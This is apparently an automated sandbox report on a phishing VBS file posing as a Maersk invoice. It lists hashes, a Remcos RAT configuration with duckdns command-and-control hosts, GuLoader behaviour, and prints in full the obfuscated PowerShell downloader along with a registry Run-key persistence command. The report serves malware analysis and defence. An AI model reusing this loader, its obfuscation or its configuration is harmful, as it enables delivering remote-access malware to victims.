Analysis
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max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240419-en -
resource tags
arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system -
submitted
01-07-2024 10:00
Static task
static1
Behavioral task
behavioral1
Sample
Maersk_BL_Invoice_Packinglist.vbs
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
Maersk_BL_Invoice_Packinglist.vbs
Resource
win10v2004-20240611-en
General
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Target
Maersk_BL_Invoice_Packinglist.vbs
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Size
21KB
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MD5
1a705e08ebbfa361df84f04cb5f0976e
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SHA1
e3091fec2ae95f28824fec928defaa68e63e189f
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SHA256
c506ac9a87485ac16f09afa8f732f7a72699c6f5db222cb347cf8291f5c27d0f
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SHA512
bd6b937c3ad2805cac2eb18c1011634e8b50a5bdd9f7af1bec7251429a7cac5214e33003a3da9e9d198fa362461a15b7d3a937ca6ee323ca20b1d6b22128958e
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SSDEEP
384:mlzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgwwgvNRqeGb3OS:ezSR022X/523S0e8xPPmZMhb
Malware Config
Extracted
remcos
Proof007
janbours92harbu02.duckdns.org:3980
janbours92harbu02.duckdns.org:3981
janbours92harbu03.duckdns.org:3980
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
true
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install_flag
false
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keylog_crypt
false
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keylog_file
kpburtts.dat
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keylog_flag
false
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keylog_path
%AppData%
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mouse_option
false
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mutex
jmoughoe-LDOW5Q
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
-
screenshot_time
10
- startup_value
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
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Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 2684 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-481678230-3773327859-3495911762-1000\Software\Microsoft\Windows\CurrentVersion\Run\Havnefogedeners160 = "%Idelses% -w 1 $Windsorstolene=(Get-ItemProperty -Path 'HKCU:\\Fralandsvinds\\').Shadflies;%Idelses% ($Windsorstolene)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
Processes:
wab.exepid process 2524 wab.exe 2524 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2788 powershell.exe 2524 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2788 set thread context of 2524 2788 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry key 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepowershell.exepid process 2684 powershell.exe 2788 powershell.exe 2788 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2788 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2684 powershell.exe Token: SeDebugPrivilege 2788 powershell.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
WScript.exepowershell.exepowershell.exewab.execmd.exedescription pid process target process PID 2420 wrote to memory of 2684 2420 WScript.exe powershell.exe PID 2420 wrote to memory of 2684 2420 WScript.exe powershell.exe PID 2420 wrote to memory of 2684 2420 WScript.exe powershell.exe PID 2684 wrote to memory of 2872 2684 powershell.exe cmd.exe PID 2684 wrote to memory of 2872 2684 powershell.exe cmd.exe PID 2684 wrote to memory of 2872 2684 powershell.exe cmd.exe PID 2684 wrote to memory of 2788 2684 powershell.exe powershell.exe PID 2684 wrote to memory of 2788 2684 powershell.exe powershell.exe PID 2684 wrote to memory of 2788 2684 powershell.exe powershell.exe PID 2684 wrote to memory of 2788 2684 powershell.exe powershell.exe PID 2788 wrote to memory of 2612 2788 powershell.exe cmd.exe PID 2788 wrote to memory of 2612 2788 powershell.exe cmd.exe PID 2788 wrote to memory of 2612 2788 powershell.exe cmd.exe PID 2788 wrote to memory of 2612 2788 powershell.exe cmd.exe PID 2788 wrote to memory of 2524 2788 powershell.exe wab.exe PID 2788 wrote to memory of 2524 2788 powershell.exe wab.exe PID 2788 wrote to memory of 2524 2788 powershell.exe wab.exe PID 2788 wrote to memory of 2524 2788 powershell.exe wab.exe PID 2788 wrote to memory of 2524 2788 powershell.exe wab.exe PID 2788 wrote to memory of 2524 2788 powershell.exe wab.exe PID 2524 wrote to memory of 2808 2524 wab.exe cmd.exe PID 2524 wrote to memory of 2808 2524 wab.exe cmd.exe PID 2524 wrote to memory of 2808 2524 wab.exe cmd.exe PID 2524 wrote to memory of 2808 2524 wab.exe cmd.exe PID 2808 wrote to memory of 2876 2808 cmd.exe reg.exe PID 2808 wrote to memory of 2876 2808 cmd.exe reg.exe PID 2808 wrote to memory of 2876 2808 cmd.exe reg.exe PID 2808 wrote to memory of 2876 2808 cmd.exe reg.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Maersk_BL_Invoice_Packinglist.vbs"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites';If (${host}.CurrentCulture) {$Cykelstier++;}Function Grovelled($Slick){$schoolchild=$Slick.Length-$Cykelstier;$Afhstet='SUBsTRI';$Afhstet+='ng';For( $Neurocentrum=1;$Neurocentrum -lt $schoolchild;$Neurocentrum+=2){$Jetjager196+=$Slick.$Afhstet.Invoke( $Neurocentrum, $Cykelstier);}$Jetjager196;}function Hovne35($Arbejdsmetode){ .($Appalachian) ($Arbejdsmetode);}$Muddleheadedness204=Grovelled ' MFo zDi.lSl aA/ 5S. 0K U(AWCiFn dDo w sC UN.T. T1 0U.H0P;S WMi nO6.4T;K Hx 6b4.;U Mr v : 1K2 1H.S0I) UG,edcDkCoI/u2D0B1K0r0,1U0R1 F,i r,eFfaoAx./ 1 2T1,.S0c ';$Paquet=Grovelled 'OUBs eFrU-BASgDeunStC ';$Buttoners=Grovelled ' h tGtgp,:a/V/C1H0N3...1.9H5S.S2 3.7C.,4B3 / W r o,n,gLdTo i.nTgFs,1 9m3,.Ap cAxs ';$Deleting=Grovelled ' >T ';$Appalachian=Grovelled 'GiUePxD ';$Dolke234='Mediers131';$Skinnes = Grovelled ',eMc hSos W%.aKp pUdMa.tSaP%,\BT,r,iPcVoDt iSn.en.HI nStF ,&P&S Me c h oJ BtR ';Hovne35 (Grovelled 'E$SgOl o bCaGl : DbaAn sGe.d e,s =D(AcFm dP /GcL .$MSHkCi n.n e.s ), ');Hovne35 (Grovelled 'i$Og l oBb a,lA:,T u r,eGrR=.$,BUu.tSt.o.n.eFr.s .CsOp l iOtE(T$ D,e.lKe tLiJnUg.)T ');Hovne35 (Grovelled 'I[SNFeFt .ASPeIrFvPi,cCe P,o.iDnpt M a n,aSgSe.rO],: : S.ePc,u,rki t,y PSr.o,t oPcTo.l, I= [SN eUtP..SNeCc.u rPi tHycPTr.oMt oTcOo.l TRy,p,e ]M:.:GTUl s 1R2 ');$Buttoners=$Turer[0];$Semievergreen94= (Grovelled ' $Ug.lPo bEaHlt: F e,rEsvk.vMaPn dDs s.=GNKe w -SOFb j e c t. S.y sCt,eCm .KN.eBt,.PWVeFbOCEl,i,e.nBt');$Semievergreen94+=$Dansedes[1];Hovne35 ($Semievergreen94);Hovne35 (Grovelled ',$RFGe.r s.kBvRa.n d s so.PH e,aRdSeKrBsC[,$FPBa,q u.eItU] =R$TMPuSd,dGl eLhBe aAd.e dSn.eRs sU2L0S4 ');$Haandpanthaver=Grovelled 'T$ F e r.sKk v aLnIdMs,sL.,D o,wPn.l,oPaRd.F i,lRe.(K$PB u.tBt,odn.eHr sD,S$.PBoLnEeOrM) ';$Poner=$Dansedes[0];Hovne35 (Grovelled 's$ gKlUo,b aPl :.CRh,aOf e w,a,xV=F(ST,eSsrt -IP aUtSh. $CPCoTnPeUrA) ');while (!$Chafewax) {Hovne35 (Grovelled ' $Mgul,oFb aRlf:FT,rSi cDh oPp tKeTrEaO1 0P1R=M$ tAr.u,eG ') ;Hovne35 $Haandpanthaver;Hovne35 (Grovelled 'CS,t a rWtH-SSSl,e.eEpN L4 ');Hovne35 (Grovelled 'F$BgDlMo bfaPl :UC hSaAf,eHw aFxS=,(,TAets t.-IP aAtDhR $ P oTn ecr )S ') ;Hovne35 (Grovelled ' $LgLl osbIaTlG:USDp lGo.dNg.y,=A$ g l.o bSaSl :EV,a.lNr s,+L+A%.$FTKujr.eSr . c,o uinRt ') ;$Buttoners=$Turer[$Splodgy];}$skyttegravenes=371185;$Selenographers=25643;Hovne35 (Grovelled ' $ g lSoCbTaDl,: H,acnEg,nGe s,tEsB H=T IGEe t - C.o.n t,e n t D$ P oFnUe r ');Hovne35 (Grovelled '.$Tg,l oKbPa l :.EFn h,a,n,cKe r.sI = ,[US.y.sOtSe,m..SCBoJn v eIr.t,] :A:OFSr oFm BPaSs e 6 4ASjt.rSiPn.gK(S$TH aCnsg,nPeps t s )U ');Hovne35 (Grovelled ' $,g.l,oPb.aPlG:RS jal e lTiGv e.tR .=S S[bSSyUsgtRe.mF.AT eSxDt..MEInsc o d i,nAg,] :F:cADSLCrI I .CGAe.tpSft rLiOnNg,(S$SE.n,h.a n cGeGr.sF). ');Hovne35 (Grovelled ' $FgSlUo b,aIlC:HG lToEb uKsRe rTs = $ SUj l.eKl iHv eRtH.,sju,b,s,t,rCiUnSg,(P$,s.k.y tFtEe gDrDakvRe.nieNsB,M$MS eAl esn oSg,r aCp.hSe rSsC) ');Hovne35 $Globusers;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tricotine.Int && echo t"3⤵
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites';If (${host}.CurrentCulture) {$Cykelstier++;}Function Grovelled($Slick){$schoolchild=$Slick.Length-$Cykelstier;$Afhstet='SUBsTRI';$Afhstet+='ng';For( $Neurocentrum=1;$Neurocentrum -lt $schoolchild;$Neurocentrum+=2){$Jetjager196+=$Slick.$Afhstet.Invoke( $Neurocentrum, $Cykelstier);}$Jetjager196;}function Hovne35($Arbejdsmetode){ .($Appalachian) ($Arbejdsmetode);}$Muddleheadedness204=Grovelled ' MFo zDi.lSl aA/ 5S. 0K U(AWCiFn dDo w sC UN.T. T1 0U.H0P;S WMi nO6.4T;K Hx 6b4.;U Mr v : 1K2 1H.S0I) UG,edcDkCoI/u2D0B1K0r0,1U0R1 F,i r,eFfaoAx./ 1 2T1,.S0c ';$Paquet=Grovelled 'OUBs eFrU-BASgDeunStC ';$Buttoners=Grovelled ' h tGtgp,:a/V/C1H0N3...1.9H5S.S2 3.7C.,4B3 / W r o,n,gLdTo i.nTgFs,1 9m3,.Ap cAxs ';$Deleting=Grovelled ' >T ';$Appalachian=Grovelled 'GiUePxD ';$Dolke234='Mediers131';$Skinnes = Grovelled ',eMc hSos W%.aKp pUdMa.tSaP%,\BT,r,iPcVoDt iSn.en.HI nStF ,&P&S Me c h oJ BtR ';Hovne35 (Grovelled 'E$SgOl o bCaGl : DbaAn sGe.d e,s =D(AcFm dP /GcL .$MSHkCi n.n e.s ), ');Hovne35 (Grovelled 'i$Og l oBb a,lA:,T u r,eGrR=.$,BUu.tSt.o.n.eFr.s .CsOp l iOtE(T$ D,e.lKe tLiJnUg.)T ');Hovne35 (Grovelled 'I[SNFeFt .ASPeIrFvPi,cCe P,o.iDnpt M a n,aSgSe.rO],: : S.ePc,u,rki t,y PSr.o,t oPcTo.l, I= [SN eUtP..SNeCc.u rPi tHycPTr.oMt oTcOo.l TRy,p,e ]M:.:GTUl s 1R2 ');$Buttoners=$Turer[0];$Semievergreen94= (Grovelled ' $Ug.lPo bEaHlt: F e,rEsvk.vMaPn dDs s.=GNKe w -SOFb j e c t. S.y sCt,eCm .KN.eBt,.PWVeFbOCEl,i,e.nBt');$Semievergreen94+=$Dansedes[1];Hovne35 ($Semievergreen94);Hovne35 (Grovelled ',$RFGe.r s.kBvRa.n d s so.PH e,aRdSeKrBsC[,$FPBa,q u.eItU] =R$TMPuSd,dGl eLhBe aAd.e dSn.eRs sU2L0S4 ');$Haandpanthaver=Grovelled 'T$ F e r.sKk v aLnIdMs,sL.,D o,wPn.l,oPaRd.F i,lRe.(K$PB u.tBt,odn.eHr sD,S$.PBoLnEeOrM) ';$Poner=$Dansedes[0];Hovne35 (Grovelled 's$ gKlUo,b aPl :.CRh,aOf e w,a,xV=F(ST,eSsrt -IP aUtSh. $CPCoTnPeUrA) ');while (!$Chafewax) {Hovne35 (Grovelled ' $Mgul,oFb aRlf:FT,rSi cDh oPp tKeTrEaO1 0P1R=M$ tAr.u,eG ') ;Hovne35 $Haandpanthaver;Hovne35 (Grovelled 'CS,t a rWtH-SSSl,e.eEpN L4 ');Hovne35 (Grovelled 'F$BgDlMo bfaPl :UC hSaAf,eHw aFxS=,(,TAets t.-IP aAtDhR $ P oTn ecr )S ') ;Hovne35 (Grovelled ' $LgLl osbIaTlG:USDp lGo.dNg.y,=A$ g l.o bSaSl :EV,a.lNr s,+L+A%.$FTKujr.eSr . c,o uinRt ') ;$Buttoners=$Turer[$Splodgy];}$skyttegravenes=371185;$Selenographers=25643;Hovne35 (Grovelled ' $ g lSoCbTaDl,: H,acnEg,nGe s,tEsB H=T IGEe t - C.o.n t,e n t D$ P oFnUe r ');Hovne35 (Grovelled '.$Tg,l oKbPa l :.EFn h,a,n,cKe r.sI = ,[US.y.sOtSe,m..SCBoJn v eIr.t,] :A:OFSr oFm BPaSs e 6 4ASjt.rSiPn.gK(S$TH aCnsg,nPeps t s )U ');Hovne35 (Grovelled ' $,g.l,oPb.aPlG:RS jal e lTiGv e.tR .=S S[bSSyUsgtRe.mF.AT eSxDt..MEInsc o d i,nAg,] :F:cADSLCrI I .CGAe.tpSft rLiOnNg,(S$SE.n,h.a n cGeGr.sF). ');Hovne35 (Grovelled ' $FgSlUo b,aIlC:HG lToEb uKsRe rTs = $ SUj l.eKl iHv eRtH.,sju,b,s,t,rCiUnSg,(P$,s.k.y tFtEe gDrDakvRe.nieNsB,M$MS eAl esn oSg,r aCp.hSe rSsC) ');Hovne35 $Globusers;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tricotine.Int && echo t"4⤵
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Havnefogedeners160" /t REG_EXPAND_SZ /d "%Idelses% -w 1 $Windsorstolene=(Get-ItemProperty -Path 'HKCU:\Fralandsvinds\').Shadflies;%Idelses% ($Windsorstolene)"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Havnefogedeners160" /t REG_EXPAND_SZ /d "%Idelses% -w 1 $Windsorstolene=(Get-ItemProperty -Path 'HKCU:\Fralandsvinds\').Shadflies;%Idelses% ($Windsorstolene)"6⤵
- Adds Run key to start application
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\K39XWF2V5X6QHA1843Z5.tempFilesize
7KB
MD588f040c4af8da70fef7d94e1446c6d8c
SHA18783fd00ebb6fcfd454161838c89224fc378cb83
SHA256291587a26c9cdb93c4386db776e3b75ba368ca77c988f7015f8dda0d0398ad9f
SHA5121c8f424bb07e5a6607f929d76ea831a306ddd0f72dc3624ad7cf00870dbc412924dd5a8d7f1d004da4a027fce223b3e99f4ac8046ff4a42823526962bdadbc5f
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C:\Users\Admin\AppData\Roaming\Tricotine.IntFilesize
516KB
MD5a19ac5c628d2cfe0b9f264ef6835a069
SHA1916e42b69efdf9c305a523d39a43dbd0187acb6c
SHA2568cda02eabdc78956055c9b34c2578da73344fbdfa8f65586ed4e90384f85b752
SHA512dc6b71d52a6a164e4e085b0a9457e9512a9bddcf741da2007edc4b3443636bc0ac1a7c6a3445dc1a38b4a26eca99097dec6b7433711f097ff06e8d05321f7b1c
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memory/2524-22-0x00000000013C0000-0x0000000003E45000-memory.dmpFilesize
42.5MB
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memory/2524-21-0x0000000000350000-0x00000000013B2000-memory.dmpFilesize
16.4MB
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memory/2684-10-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmpFilesize
9.6MB
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memory/2684-9-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmpFilesize
9.6MB
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memory/2684-8-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmpFilesize
9.6MB
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memory/2684-11-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmpFilesize
9.6MB
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memory/2684-4-0x000007FEF626E000-0x000007FEF626F000-memory.dmpFilesize
4KB
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memory/2684-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmpFilesize
2.9MB
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memory/2684-17-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmpFilesize
9.6MB
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memory/2684-18-0x000007FEF626E000-0x000007FEF626F000-memory.dmpFilesize
4KB
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memory/2684-7-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmpFilesize
9.6MB
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memory/2684-6-0x0000000001E70000-0x0000000001E78000-memory.dmpFilesize
32KB
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memory/2684-25-0x000007FEF5FB0000-0x000007FEF694D000-memory.dmpFilesize
9.6MB
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memory/2788-19-0x0000000006690000-0x0000000009115000-memory.dmpFilesize
42.5MB